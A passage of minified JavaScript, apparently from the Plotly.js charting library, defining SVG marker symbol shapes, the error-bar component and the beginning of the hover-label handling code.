s(c,b,"M-"+h+","+i+"H"+h+"L0,-"+v+"Z")}},"triangle-down":{n:6,f:function(y,c,b){if(r(c))return o;var h=P(y*2/S,2),i=P(y/2,2),v=P(y,2);return s(c,b,"M-"+h+",-"+i+"H"+h+"L0,"+v+"Z")}},"triangle-left":{n:7,f:function(y,c,b){if(r(c))return o;var h=P(y*2/S,2),i=P(y/2,2),v=P(y,2);return s(c,b,"M"+i+",-"+h+"V"+h+"L-"+v+",0Z")}},"triangle-right":{n:8,f:function(y,c,b){if(r(c))return o;var h=P(y*2/S,2),i=P(y/2,2),v=P(y,2);return s(c,b,"M-"+i+",-"+h+"V"+h+"L"+v+",0Z")}},"triangle-ne":{n:9,f:function(y,c,b){if(r(c))return o;var h=P(y*.6,2),i=P(y*1.2,2);return s(c,b,"M-"+i+",-"+h+"H"+h+"V"+i+"Z")}},"triangle-se":{n:10,f:function(y,c,b){if(r(c))return o;var h=P(y*.6,2),i=P(y*1.2,2);return s(c,b,"M"+h+",-"+i+"V"+h+"H-"+i+"Z")}},"triangle-sw":{n:11,f:function(y,c,b){if(r(c))return o;var h=P(y*.6,2),i=P(y*1.2,2);return s(c,b,"M"+i+","+h+"H-"+h+"V-"+i+"Z")}},"triangle-nw":{n:12,f:function(y,c,b){if(r(c))return o;var h=P(y*.6,2),i=P(y*1.2,2);return s(c,b,"M-"+h+","+i+"V-"+h+"H"+i+"Z")}},pentagon:{n:13,f:function(y,c,b){if(r(c))return o;var h=P(y*.951,2),i=P(y*.588,2),v=P(-y,2),T=P(y*-.309,2),w=P(y*.809,2);return s(c,b,"M"+h+","+T+"L"+i+","+w+"H-"+i+"L-"+h+","+T+"L0,"+v+"Z")}},hexagon:{n:14,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i=P(y/2,2),v=P(y*S/2,2);return s(c,b,"M"+v+",-"+i+"V"+i+"L0,"+h+"L-"+v+","+i+"V-"+i+"L0,-"+h+"Z")}},hexagon2:{n:15,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i=P(y/2,2),v=P(y*S/2,2);return s(c,b,"M-"+i+","+v+"H"+i+"L"+h+",0L"+i+",-"+v+"H-"+i+"L-"+h+",0Z")}},octagon:{n:16,f:function(y,c,b){if(r(c))return o;var h=P(y*.924,2),i=P(y*.383,2);return s(c,b,"M-"+i+",-"+h+"H"+i+"L"+h+",-"+i+"V"+i+"L"+i+","+h+"H-"+i+"L-"+h+","+i+"V-"+i+"Z")}},star:{n:17,f:function(y,c,b){if(r(c))return o;var h=y*1.4,i=P(h*.225,2),v=P(h*.951,2),T=P(h*.363,2),w=P(h*.588,2),E=P(-h,2),p=P(h*-.309,2),A=P(h*.118,2),m=P(h*.809,2),n=P(h*.382,2);return s(c,b,"M"+i+","+p+"H"+v+"L"+T+","+A+"L"+w+","+m+"L0,"+n+"L-"+w+","+m+"L-"+T+","+A+"L-"+v+","+p+"H-"+i+"L0,"+E+"Z")}},hexagram:{n:18,f:function(y,c,b){if(r(c))return o;var h=P(y*.66,2),i=P(y*.38,2),v=P(y*.76,2);return s(c,b,"M-"+v+",0l-"+i+",-"+h+"h"+v+"l"+i+",-"+h+"l"+i+","+h+"h"+v+"l-"+i+","+h+"l"+i+","+h+"h-"+v+"l-"+i+","+h+"l-"+i+",-"+h+"h-"+v+"Z")}},"star-triangle-up":{n:19,f:function(y,c,b){if(r(c))return o;var h=P(y*S*.8,2),i=P(y*.8,2),v=P(y*1.6,2),T=P(y*4,2),w="A "+T+","+T+" 0 0 1 ";return s(c,b,"M-"+h+","+i+w+h+","+i+w+"0,-"+v+w+"-"+h+","+i+"Z")}},"star-triangle-down":{n:20,f:function(y,c,b){if(r(c))return o;var h=P(y*S*.8,2),i=P(y*.8,2),v=P(y*1.6,2),T=P(y*4,2),w="A "+T+","+T+" 0 0 1 ";return s(c,b,"M"+h+",-"+i+w+"-"+h+",-"+i+w+"0,"+v+w+h+",-"+i+"Z")}},"star-square":{n:21,f:function(y,c,b){if(r(c))return o;var h=P(y*1.1,2),i=P(y*2,2),v="A "+i+","+i+" 0 0 1 ";return s(c,b,"M-"+h+",-"+h+v+"-"+h+","+h+v+h+","+h+v+h+",-"+h+v+"-"+h+",-"+h+"Z")}},"star-diamond":{n:22,f:function(y,c,b){if(r(c))return o;var h=P(y*1.4,2),i=P(y*1.9,2),v="A "+i+","+i+" 0 0 1 ";return s(c,b,"M-"+h+",0"+v+"0,"+h+v+h+",0"+v+"0,-"+h+v+"-"+h+",0Z")}},"diamond-tall":{n:23,f:function(y,c,b){if(r(c))return o;var h=P(y*.7,2),i=P(y*1.4,2);return s(c,b,"M0,"+i+"L"+h+",0L0,-"+i+"L-"+h+",0Z")}},"diamond-wide":{n:24,f:function(y,c,b){if(r(c))return o;var h=P(y*1.4,2),i=P(y*.7,2);return s(c,b,"M0,"+i+"L"+h+",0L0,-"+i+"L-"+h+",0Z")}},hourglass:{n:25,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M"+h+","+h+"H-"+h+"L"+h+",-"+h+"H-"+h+"Z")},noDot:!0},bowtie:{n:26,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M"+h+","+h+"V-"+h+"L-"+h+","+h+"V-"+h+"Z")},noDot:!0},"circle-cross":{n:27,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M0,"+h+"V-"+h+"M"+h+",0H-"+h+"M"+h+",0A"+h+","+h+" 0 1,1 0,-"+h+"A"+h+","+h+" 0 0,1 "+h+",0Z")},needLine:!0,noDot:!0},"circle-x":{n:28,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i=P(y/L,2);return s(c,b,"M"+i+","+i+"L-"+i+",-"+i+"M"+i+",-"+i+"L-"+i+","+i+"M"+h+",0A"+h+","+h+" 0 1,1 0,-"+h+"A"+h+","+h+" 0 0,1 "+h+",0Z")},needLine:!0,noDot:!0},"square-cross":{n:29,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M0,"+h+"V-"+h+"M"+h+",0H-"+h+"M"+h+","+h+"H-"+h+"V-"+h+"H"+h+"Z")},needLine:!0,noDot:!0},"square-x":{n:30,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M"+h+","+h+"L-"+h+",-"+h+"M"+h+",-"+h+"L-"+h+","+h+"M"+h+","+h+"H-"+h+"V-"+h+"H"+h+"Z")},needLine:!0,noDot:!0},"diamond-cross":{n:31,f:function(y,c,b){if(r(c))return o;var h=P(y*1.3,2);return s(c,b,"M"+h+",0L0,"+h+"L-"+h+",0L0,-"+h+"ZM0,-"+h+"V"+h+"M-"+h+",0H"+h)},needLine:!0,noDot:!0},"diamond-x":{n:32,f:function(y,c,b){if(r(c))return o;var h=P(y*1.3,2),i=P(y*.65,2);return s(c,b,"M"+h+",0L0,"+h+"L-"+h+",0L0,-"+h+"ZM-"+i+",-"+i+"L"+i+","+i+"M-"+i+","+i+"L"+i+",-"+i)},needLine:!0,noDot:!0},"cross-thin":{n:33,f:function(y,c,b){if(r(c))return o;var h=P(y*1.4,2);return s(c,b,"M0,"+h+"V-"+h+"M"+h+",0H-"+h)},needLine:!0,noDot:!0,noFill:!0},"x-thin":{n:34,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M"+h+","+h+"L-"+h+",-"+h+"M"+h+",-"+h+"L-"+h+","+h)},needLine:!0,noDot:!0,noFill:!0},asterisk:{n:35,f:function(y,c,b){if(r(c))return o;var h=P(y*1.2,2),i=P(y*.85,2);return s(c,b,"M0,"+h+"V-"+h+"M"+h+",0H-"+h+"M"+i+","+i+"L-"+i+",-"+i+"M"+i+",-"+i+"L-"+i+","+i)},needLine:!0,noDot:!0,noFill:!0},hash:{n:36,f:function(y,c,b){if(r(c))return o;var h=P(y/2,2),i=P(y,2);return s(c,b,"M"+h+","+i+"V-"+i+"M"+(h-i)+",-"+i+"V"+i+"M"+i+","+h+"H-"+i+"M-"+i+","+(h-i)+"H"+i)},needLine:!0,noFill:!0},"y-up":{n:37,f:function(y,c,b){if(r(c))return o;var h=P(y*1.2,2),i=P(y*1.6,2),v=P(y*.8,2);return s(c,b,"M-"+h+","+v+"L0,0M"+h+","+v+"L0,0M0,-"+i+"L0,0")},needLine:!0,noDot:!0,noFill:!0},"y-down":{n:38,f:function(y,c,b){if(r(c))return o;var h=P(y*1.2,2),i=P(y*1.6,2),v=P(y*.8,2);return s(c,b,"M-"+h+",-"+v+"L0,0M"+h+",-"+v+"L0,0M0,"+i+"L0,0")},needLine:!0,noDot:!0,noFill:!0},"y-left":{n:39,f:function(y,c,b){if(r(c))return o;var h=P(y*1.2,2),i=P(y*1.6,2),v=P(y*.8,2);return s(c,b,"M"+v+","+h+"L0,0M"+v+",-"+h+"L0,0M-"+i+",0L0,0")},needLine:!0,noDot:!0,noFill:!0},"y-right":{n:40,f:function(y,c,b){if(r(c))return o;var h=P(y*1.2,2),i=P(y*1.6,2),v=P(y*.8,2);return s(c,b,"M-"+v+","+h+"L0,0M-"+v+",-"+h+"L0,0M"+i+",0L0,0")},needLine:!0,noDot:!0,noFill:!0},"line-ew":{n:41,f:function(y,c,b){if(r(c))return o;var h=P(y*1.4,2);return s(c,b,"M"+h+",0H-"+h)},needLine:!0,noDot:!0,noFill:!0},"line-ns":{n:42,f:function(y,c,b){if(r(c))return o;var h=P(y*1.4,2);return s(c,b,"M0,"+h+"V-"+h)},needLine:!0,noDot:!0,noFill:!0},"line-ne":{n:43,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M"+h+",-"+h+"L-"+h+","+h)},needLine:!0,noDot:!0,noFill:!0},"line-nw":{n:44,f:function(y,c,b){if(r(c))return o;var h=P(y,2);return s(c,b,"M"+h+","+h+"L-"+h+",-"+h)},needLine:!0,noDot:!0,noFill:!0},"arrow-up":{n:45,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i=P(y*2,2);return s(c,b,"M0,0L-"+h+","+i+"H"+h+"Z")},backoff:1,noDot:!0},"arrow-down":{n:46,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i=P(y*2,2);return s(c,b,"M0,0L-"+h+",-"+i+"H"+h+"Z")},noDot:!0},"arrow-left":{n:47,f:function(y,c,b){if(r(c))return o;var h=P(y*2,2),i=P(y,2);return s(c,b,"M0,0L"+h+",-"+i+"V"+i+"Z")},noDot:!0},"arrow-right":{n:48,f:function(y,c,b){if(r(c))return o;var h=P(y*2,2),i=P(y,2);return s(c,b,"M0,0L-"+h+",-"+i+"V"+i+"Z")},noDot:!0},"arrow-bar-up":{n:49,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i=P(y*2,2);return s(c,b,"M-"+h+",0H"+h+"M0,0L-"+h+","+i+"H"+h+"Z")},backoff:1,needLine:!0,noDot:!0},"arrow-bar-down":{n:50,f:function(y,c,b){if(r(c))return o;var h=P(y,2),i=P(y*2,2);return s(c,b,"M-"+h+",0H"+h+"M0,0L-"+h+",-"+i+"H"+h+"Z")},needLine:!0,noDot:!0},"arrow-bar-left":{n:51,f:function(y,c,b){if(r(c))return o;var h=P(y*2,2),i=P(y,2);return s(c,b,"M0,-"+i+"V"+i+"M0,0L"+h+",-"+i+"V"+i+"Z")},needLine:!0,noDot:!0},"arrow-bar-right":{n:52,f:function(y,c,b){if(r(c))return o;var h=P(y*2,2),i=P(y,2);return s(c,b,"M0,-"+i+"V"+i+"M0,0L-"+h+",-"+i+"V"+i+"Z")},needLine:!0,noDot:!0},arrow:{n:53,f:function(y,c,b){if(r(c))return o;var h=d/2.5,i=2*y*g(h),v=2*y*t(h);return s(c,b,"M0,0L"+-i+","+v+"L"+i+","+v+"Z")},backoff:.9,noDot:!0},"arrow-wide":{n:54,f:function(y,c,b){if(r(c))return o;var h=d/4,i=2*y*g(h),v=2*y*t(h);return s(c,b,"M0,0L"+-i+","+v+"A "+2*y+","+2*y+" 0 0 1 "+i+","+v+"Z")},backoff:.4,noDot:!0}};function r(y){return y===null}var f,a,l,u;function s(y,c,b){if((!y||y%360===0)&&!c)return b;if(l===y&&u===c&&f===b)return a;l=y,u=c,f=b;function h(k,B){var _=g(k),F=t(k),O=B[0],z=B[1]+(c||0);return[O*_-z*F,O*F+z*_]}for(var i=y/180*d,v=0,T=0,w=M(b),E="",p=0;p<w.length;p++){var A=w[p],m=A[0],n=v,C=T;if(m==="M"||m==="L")v=+A[1],T=+A[2];else if(m==="m"||m==="l")v+=+A[1],T+=+A[2];else if(m==="H")v=+A[1];else if(m==="h")v+=+A[1];else if(m==="V")T=+A[1];else if(m==="v")T+=+A[1];else if(m==="A"){v=+A[1],T=+A[2];var x=h(i,[+A[6],+A[7]]);A[6]=x[0],A[7]=x[1],A[3]=+A[3]+y}(m==="H"||m==="V")&&(m="L"),(m==="h"||m==="v")&&(m="l"),(m==="m"||m==="l")&&(v-=n,T-=C);var I=h(i,[v,T]);(m==="H"||m==="V")&&(m="L"),(m==="M"||m==="L"||m==="m"||m==="l")&&(A[1]=I[0],A[2]=I[1]),A[0]=m,E+=A[0]+A.slice(1).join(",")}return a=E,E}},25673:function(te){te.exports={visible:{valType:"boolean",editType:"calc"},type:{valType:"enumerated",values:["percent","constant","sqrt","data"],editType:"calc"},symmetric:{valType:"boolean",editType:"calc"},array:{valType:"data_array",editType:"calc"},arrayminus:{valType:"data_array",editType:"calc"},value:{valType:"number",min:0,dflt:10,editType:"calc"},valueminus:{valType:"number",min:0,dflt:10,editType:"calc"},traceref:{valType:"integer",min:0,dflt:0,editType:"style"},tracerefminus:{valType:"integer",min:0,dflt:0,editType:"style"},copy_ystyle:{valType:"boolean",editType:"plot"},copy_zstyle:{valType:"boolean",editType:"style"},color:{valType:"color",editType:"style"},thickness:{valType:"number",min:0,dflt:2,editType:"style"},width:{valType:"number",min:0,editType:"plot"},editType:"calc",_deprecated:{opacity:{valType:"number",editType:"style"}}}},84532:function(te,Z,e){var M=e(92770),P=e(73972),o=e(89298),L=e(71828),S=e(45827);te.exports=function(t){for(var r=t.calcdata,f=0;f<r.length;f++){var a=r[f],l=a[0].trace;if(l.visible===!0&&P.traceIs(l,"errorBarsOK")){var u=o.getFromId(t,l.xaxis),s=o.getFromId(t,l.yaxis);d(a,l,u,"x"),d(a,l,s,"y")}}};function d(g,t,r,f){var a=t["error_"+f]||{},l=a.visible&&["linear","log"].indexOf(r.type)!==-1,u=[];if(l){for(var s=S(a),y=0;y<g.length;y++){var c=g[y],b=c.i;if(b===void 0)b=y;else if(b===null)continue;var h=c[f];if(M(r.c2l(h))){var i=s(h,b);if(M(i[0])&&M(i[1])){var v=c[f+"s"]=h-i[0],T=c[f+"h"]=h+i[1];u.push(v,T)}}}var w=r._id,E=t._extremes[w],p=o.findExtremes(r,u,L.extendFlat({tozero:E.opts.tozero},{padded:!0}));E.min=E.min.concat(p.min),E.max=E.max.concat(p.max)}}},45827:function(te){te.exports=function(M){var P=M.type,o=M.symmetric;if(P==="data"){var L=M.array||[];if(o)return function(r,f){var a=+L[f];return[a,a]};var S=M.arrayminus||[];return function(r,f){var a=+L[f],l=+S[f];return!isNaN(a)||!isNaN(l)?[l||0,a||0]:[NaN,NaN]}}else{var d=Z(P,M.value),g=Z(P,M.valueminus);return o||M.valueminus===void 0?function(r){var f=d(r);return[f,f]}:function(r){return[g(r),d(r)]}}};function Z(e,M){if(e==="percent")return function(P){return Math.abs(P*M/100)};if(e==="constant")return function(){return Math.abs(M)};if(e==="sqrt")return function(P){return Math.sqrt(Math.abs(P))}}},97587:function(te,Z,e){var M=e(92770),P=e(73972),o=e(71828),L=e(44467),S=e(25673);te.exports=function(d,g,t,r){var f="error_"+r.axis,a=L.newContainer(g,f),l=d[f]||{};function u(v,T){return o.coerce(l,a,S,v,T)}var s=l.array!==void 0||l.value!==void 0||l.type==="sqrt",y=u("visible",s);if(y!==!1){var c=u("type","array"in l?"data":"percent"),b=!0;c!=="sqrt"&&(b=u("symmetric",!((c==="data"?"arrayminus":"valueminus")in l))),c==="data"?(u("array"),u("traceref"),b||(u("arrayminus"),u("tracerefminus"))):(c==="percent"||c==="constant")&&(u("value"),b||u("valueminus"));var h="copy_"+r.inherit+"style";if(r.inherit){var i=g["error_"+r.inherit];(i||{}).visible&&u(h,!(l.color||M(l.thickness)||M(l.width)))}(!r.inherit||!a[h])&&(u("color",t),u("thickness"),u("width",P.traceIs(g,"gl3d")?0:4))}}},37369:function(te,Z,e){var M=e(71828),P=e(30962).overrideAll,o=e(25673),L={error_x:M.extendFlat({},o),error_y:M.extendFlat({},o)};delete L.error_x.copy_zstyle,delete L.error_y.copy_zstyle,delete L.error_y.copy_ystyle;var S={error_x:M.extendFlat({},o),error_y:M.extendFlat({},o),error_z:M.extendFlat({},o)};delete S.error_x.copy_ystyle,delete S.error_y.copy_ystyle,delete S.error_z.copy_ystyle,delete S.error_z.copy_zstyle,te.exports={moduleType:"component",name:"errorbars",schema:{traces:{scatter:L,bar:L,histogram:L,scatter3d:P(S,"calc","nested"),scattergl:P(L,"calc","nested")}},supplyDefaults:e(97587),calc:e(84532),makeComputeError:e(45827),plot:e(19398),style:e(62662),hoverInfo:d};function d(g,t,r){(t.error_y||{}).visible&&(r.yerr=g.yh-g.y,t.error_y.symmetric||(r.yerrneg=g.y-g.ys)),(t.error_x||{}).visible&&(r.xerr=g.xh-g.x,t.error_x.symmetric||(r.xerrneg=g.x-g.xs))}},19398:function(te,Z,e){var M=e(39898),P=e(92770),o=e(91424),L=e(34098);te.exports=function(g,t,r,f){var a,l=r.xaxis,u=r.yaxis,s=f&&f.duration>0,y=g._context.staticPlot;t.each(function(c){var b=c[0].trace,h=b.error_x||{},i=b.error_y||{},v;b.ids&&(v=function(p){return p.id});var T=L.hasMarkers(b)&&b.marker.maxdisplayed>0;!i.visible&&!h.visible&&(c=[]);var w=M.select(this).selectAll("g.errorbar").data(c,v);if(w.exit().remove(),!!c.length){h.visible||w.selectAll("path.xerror").remove(),i.visible||w.selectAll("path.yerror").remove(),w.style("opacity",1);var E=w.enter().append("g").classed("errorbar",!0);s&&E.style("opacity",0).transition().duration(f.duration).style("opacity",1),o.setClipUrl(w,r.layerClipId,g),w.each(function(p){var A=M.select(this),m=S(p,l,u);if(!(T&&!p.vis)){var n,C=A.select("path.yerror");if(i.visible&&P(m.x)&&P(m.yh)&&P(m.ys)){var x=i.width;n="M"+(m.x-x)+","+m.yh+"h"+2*x+"m-"+x+",0V"+m.ys,m.noYS||(n+="m-"+x+",0h"+2*x),a=!C.size(),a?C=A.append("path").style("vector-effect",y?"none":"non-scaling-stroke").classed("yerror",!0):s&&(C=C.transition().duration(f.duration).ease(f.easing)),C.attr("d",n)}else C.remove();var I=A.select("path.xerror");if(h.visible&&P(m.y)&&P(m.xh)&&P(m.xs)){var k=(h.copy_ystyle?i:h).width;n="M"+m.xh+","+(m.y-k)+"v"+2*k+"m0,-"+k+"H"+m.xs,m.noXS||(n+="m0,-"+k+"v"+2*k),a=!I.size(),a?I=A.append("path").style("vector-effect",y?"none":"non-scaling-stroke").classed("xerror",!0):s&&(I=I.transition().duration(f.duration).ease(f.easing)),I.attr("d",n)}else I.remove()}})}})};function S(d,g,t){var r={x:g.c2p(d.x),y:t.c2p(d.y)};return d.yh!==void 0&&(r.yh=t.c2p(d.yh),r.ys=t.c2p(d.ys),P(r.ys)||(r.noYS=!0,r.ys=t.c2p(d.ys,!0))),d.xh!==void 0&&(r.xh=g.c2p(d.xh),r.xs=g.c2p(d.xs),P(r.xs)||(r.noXS=!0,r.xs=g.c2p(d.xs,!0))),r}},62662:function(te,Z,e){var M=e(39898),P=e(7901);te.exports=function(L){L.each(function(S){var d=S[0].trace,g=d.error_y||{},t=d.error_x||{},r=M.select(this);r.selectAll("path.yerror").style("stroke-width",g.thickness+"px").call(P.stroke,g.color),t.copy_ystyle&&(t=g),r.selectAll("path.xerror").style("stroke-width",t.thickness+"px").call(P.stroke,t.color)})}},77914:function(te,Z,e){var M=e(41940),P=e(528).hoverlabel,o=e(1426).extendFlat;te.exports={hoverlabel:{bgcolor:o({},P.bgcolor,{arrayOk:!0}),bordercolor:o({},P.bordercolor,{arrayOk:!0}),font:M({arrayOk:!0,editType:"none"}),align:o({},P.align,{arrayOk:!0}),namelength:o({},P.namelength,{arrayOk:!0}),editType:"none"}}},30732:function(te,Z,e){var M=e(71828),P=e(73972);te.exports=function(S){var d=S.calcdata,g=S._fullLayout;function t(u){return function(s){return M.coerceHoverinfo({hoverinfo:s},{_module:u._module},g)}}for(var r=0;r<d.length;r++){var f=d[r],a=f[0].trace;if(!P.traceIs(a,"pie-like")){var l=P.traceIs(a,"2dMap")?o:M.fillArray;l(a.hoverinfo,f,"hi",t(a)),a.hovertemplate&&l(a.hovertemplate,f,"ht"),a.hoverlabel&&(l(a.hoverlabel.bgcolor,f,"hbg"),l(a.hoverlabel.bordercolor,f,"hbc"),l(a.hoverlabel.font.size,f,"hts"),l(a.hoverlabel.font.color,f,"htc"),l(a.hoverlabel.font.family,f,"htf"),l(a.hoverlabel.namelength,f,"hnl"),l(a.hoverlabel.align,f,"hta"))}}};function o(L,S,d,g){g=g||M.identity,Array.isArray(L)&&(S[0][d]=g(L))}},75914:function(te,Z,e){var M=e(73972),P=e(88335).hover;te.exports=function(L,S,d){var g=M.getComponentMethod("annotations","onClick")(L,L._hoverdata);d!==void 0&&P(L,S,d,!0);function t(){L.emit("plotly_click",{points:L._hoverdata,event:S})}L._hoverdata&&S&&S.target&&(g&&g.then?g.then(t):t(),S.stopImmediatePropagation&&S.stopImmediatePropagation())}},26675:function(te){te.exports={YANGLE:60,HOVERARROWSIZE:6,HOVERTEXTPAD:3,HOVERFONTSIZE:13,HOVERFONT:"Arial, sans-serif",HOVERMINTIME:50,HOVERID:"-hover"}},54268:function(te,Z,e){var M=e(71828),P=e(77914),o=e(38048);te.exports=function(S,d,g,t){function r(a,l){return M.coerce(S,d,P,a,l)}var f=M.extendFlat({},t.hoverlabel);d.hovertemplate&&(f.namelength=-1),o(S,d,r,f)}},23469:function(te,Z,e){var M=e(71828);Z.getSubplot=function(g){return g.subplot||g.xaxis+g.yaxis||g.geo},Z.isTraceInSubplots=function(g,t){if(g.type==="splom"){for(var r=g.xaxes||[],f=g.yaxes||[],a=0;a<r.length;a++)for(var l=0;l<f.length;l++)if(t.indexOf(r[a]+f[l])!==-1)return!0;return!1}return t.indexOf(Z.getSubplot(g))!==-1},Z.flat=function(g,t){for(var r=new Array(g.length),f=0;f<g.length;f++)r[f]=t;return r},Z.p2c=function(g,t){for(var r=new Array(g.length),f=0;f<g.length;f++)r[f]=g[f].p2c(t);return r},Z.getDistanceFunction=function(g,t,r,f){return g==="closest"?f||Z.quadrature(t,r):g.charAt(0)==="x"?t:r},Z.getClosest=function(g,t,r){if(r.index!==!1)r.index>=0&&r.index<g.length?r.distance=0:r.index=!1;else for(var f=0;f<g.length;f++){var a=t(g[f]);a<=r.distance&&(r.index=f,r.distance=a)}return r},Z.inbox=function(g,t,r){return g*t<0||g===0?r:1/0},Z.quadrature=function(g,t){return function(r){var f=g(r),a=t(r);return Math.sqrt(f*f+a*a)}},Z.makeEventData=function(g,t,r){var f="index"in g?g.index:g.pointNumber,a={data:t._input,fullData:t,curveNumber:t.index,pointNumber:f};if(t._indexToPoints){var l=t._indexToPoints[f];l.length===1?a.pointIndex=l[0]:a.pointIndices=l}else a.pointIndex=f;return t._module.eventData?a=t._module.eventData(a,g,t,r,f):("xVal"in g?a.x=g.xVal:"x"in g&&(a.x=g.x),"yVal"in g?a.y=g.yVal:"y"in g&&(a.y=g.y),g.xa&&(a.xaxis=g.xa),g.ya&&(a.yaxis=g.ya),g.zLabelVal!==void 0&&(a.z=g.zLabelVal)),Z.appendArrayPointValue(a,t,f),a},Z.appendArrayPointValue=function(g,t,r){var f=t._arrayAttrs;if(f)for(var a=0;a<f.length;a++){var l=f[a],u=o(l);if(g[u]===void 0){var s=M.nestedProperty(t,l).get(),y=L(s,r);y!==void 0&&(g[u]=y)}}},Z.appendArrayMultiPointValues=function(g,t,r){var f=t._arrayAttrs;if(f)for(var a=0;a<f.length;a++){var l=f[a],u=o(l);if(g[u]===void 0){for(var s=M.nestedProperty(t,l).get(),y=new Array(r.length),c=0;c<r.length;c++)y[c]=L(s,r[c]);g[u]=y}}};var P={ids:"id",locations:"location",labels:"label",values:"value","marker.colors":"color",parents:"parent"};function o(g){return P[g]||g}function L(g,t){if(Array.isArray(t)){if(Array.isArray(g)&&Array.isArray(g[t[0]]))return g[t[0]][t[1]]}else return g[t]}var S={x:!0,y:!0},d={"x unified":!0,"y unified":!0};Z.isUnifiedHover=function(g){return typeof g!="string"?!1:!!d[g]},Z.isXYhover=function(g){return typeof g!="string"?!1:!!S[g]}},88335:function(te,Z,e){var M=e(39898),P=e(92770),o=e(84267),L=e(71828),S=L.strTranslate,d=L.strRotate,g=e(11086),t=e(63893),r=e(39918),f=e(91424),a=e(7901),l=e(28569),u=e(89298),s=e(73972),y=e(23469),c=e(26675),b=e(99017),h=e(43969),i=c.YANGLE,v=Math.PI*i/180,T=1/Math.sin(v),w=Math.cos(v),E=Math.sin(v),p=c.HOVERARROWSIZE,A=c.HOVERTEXTPAD,m={box:!0,ohlc:!0,violin:!0,candlestick:!0},n={scatter:!0,scattergl:!0,splom:!0};Z.hover=function(ie,j,K,oe){ie=L.getGraphDiv(ie);var re=j.target;L.throttle(ie._fullLayout._uid+c.HOVERID,c.HOVERMINTIME,function(){C(ie,j,K,oe,re)})},Z.loneHover=function(ie,j){var K=!0;Array.isArray(ie)||(K=!1,ie=[ie]);var oe=j.gd,re=W(oe),le=V(oe),pe=ie.map(function(Oe){var Ce=Oe._x0||Oe.x0||Oe.x||0,Be=Oe._x1||Oe.x1||Oe.x||0,$e=Oe._y0||Oe.y0||Oe.y||0,Xe=Oe._y1||Oe.y1||Oe.y||0,Ze=Oe.eventData;if(Ze){var Ke=Math.min(Ce,Be),st=Math.max(Ce,Be),lt=Math.min($e,Xe),ut=Math.max($e,Xe),yt=Oe.trace;if(s.traceIs(yt,"gl3d")){var bt=oe._fullLayout[yt.scene]._scene.container,Ot=bt.offsetLeft,Ge=bt.offsetTop;Ke+=Ot,st+=Ot,lt+=Ge,ut+=Ge}Ze.bbox={x0:Ke+le,x1:st+le,y0:lt+re,y1:ut+re},j.inOut_bbox&&j.inOut_bbox.push(Ze.bbox)}else Ze=!1;return{color:Oe.color||a.defaultLine,x0:Oe.x0||Oe.x||0,x1:Oe.x1||Oe.x||0,y0:Oe.y0||Oe.y||0,y1:Oe.y1||Oe.y||0,xLabel:Oe.xLabel,yLabel:Oe.yLabel,zLabel:Oe.zLabel,text:Oe.text,name:Oe.name,idealAlign:Oe.idealAlign,borderColor:Oe.borderColor,fontFamily:Oe.fontFamily,fontSize:Oe.fontSize,fontColor:Oe.fontColor,nameLength:Oe.nameLength,textAlign:Oe.textAlign,trace:Oe.trace||{index:0,hoverinfo:""},xa:{_offset:0},ya:{_offset:0},index:0,hovertemplate:Oe.hovertemplate||!1,hovertemplateLabels:Oe.hovertemplateLabels||!1,eventData:Ze}}),we=!1,xe=k(pe,{gd:oe,hovermode:"closest",rotateLabels:we,bgColor:j.bgColor||a.background,container:M.select(j.container),outerContainer:j.outerContainer||j.container}),ke=xe.hoverLabels,_e=5,be=0,ge=0;ke.sort(function(Oe,Ce){return Oe.y0-Ce.y0}).each(function(Oe,Ce){var Be=Oe.y0-Oe.by/2;Be-_e<be?Oe.offset=be-Be+_e:Oe.offset=0,be=Be+Oe.by+Oe.offset,Ce===j.anchorIndex&&(ge=Oe.offset)}).each(function(Oe){Oe.offset-=ge});var Te=oe._fullLayout._invScaleX,Fe=oe._fullLayout._invScaleY;return z(ke,we,Te,Fe),K?ke:ke.node()};function C(Q,ie,j,K,oe){j||(j="xy");var re=Array.isArray(j)?j:[j],le=Q._fullLayout,pe=le._plots||[],we=pe[j],xe=le._has("cartesian");if(we){var ke=we.overlays.map(function(nr){return nr.id});re=re.concat(ke)}for(var _e=re.length,be=new Array(_e),ge=new Array(_e),Te=!1,Fe=0;Fe<_e;Fe++){var Oe=re[Fe];if(pe[Oe])Te=!0,be[Fe]=pe[Oe].xaxis,ge[Fe]=pe[Oe].yaxis;else if(le[Oe]&&le[Oe]._subplot){var Ce=le[Oe]._subplot;be[Fe]=Ce.xaxis,ge[Fe]=Ce.yaxis}else{L.warn("Unrecognized subplot: "+Oe);return}}var Be=ie.hovermode||le.hovermode;if(Be&&!Te&&(Be="closest"),["x","y","closest","x unified","y unified"].indexOf(Be)===-1||!Q.calcdata||Q.querySelector(".zoombox")||Q._dragging)return l.unhoverRaw(Q,ie);var $e=le.hoverdistance;$e===-1&&($e=1/0);var Xe=le.spikedistance;Xe===-1&&(Xe=1/0);var Ze=[],Ke=[],st,lt,ut,yt,bt,Ot,Ge,Le,Pe,De,Ee,ye,ae,de={hLinePoint:null,vLinePoint:null},Me=!1;if(Array.isArray(ie))for(Be="array",ut=0;ut<ie.length;ut++)bt=Q.calcdata[ie[ut].curveNumber||0],bt&&(Ot=bt[0].trace,bt[0].trace.hoverinfo!=="skip"&&(Ke.push(bt),Ot.orientation==="h"&&(Me=!0)));else{for(yt=0;yt<Q.calcdata.length;yt++)bt=Q.calcdata[yt],Ot=bt[0].trace,Ot.hoverinfo!=="skip"&&y.isTraceInSubplots(Ot,re)&&(Ke.push(bt),Ot.orientation==="h"&&(Me=!0));var Ie=!oe,Qe,et;if(Ie)"xpx"in ie?Qe=ie.xpx:Qe=be[0]._length/2,"ypx"in ie?et=ie.ypx:et=ge[0]._length/2;else{if(g.triggerHandler(Q,"plotly_beforehover",ie)===!1)return;var 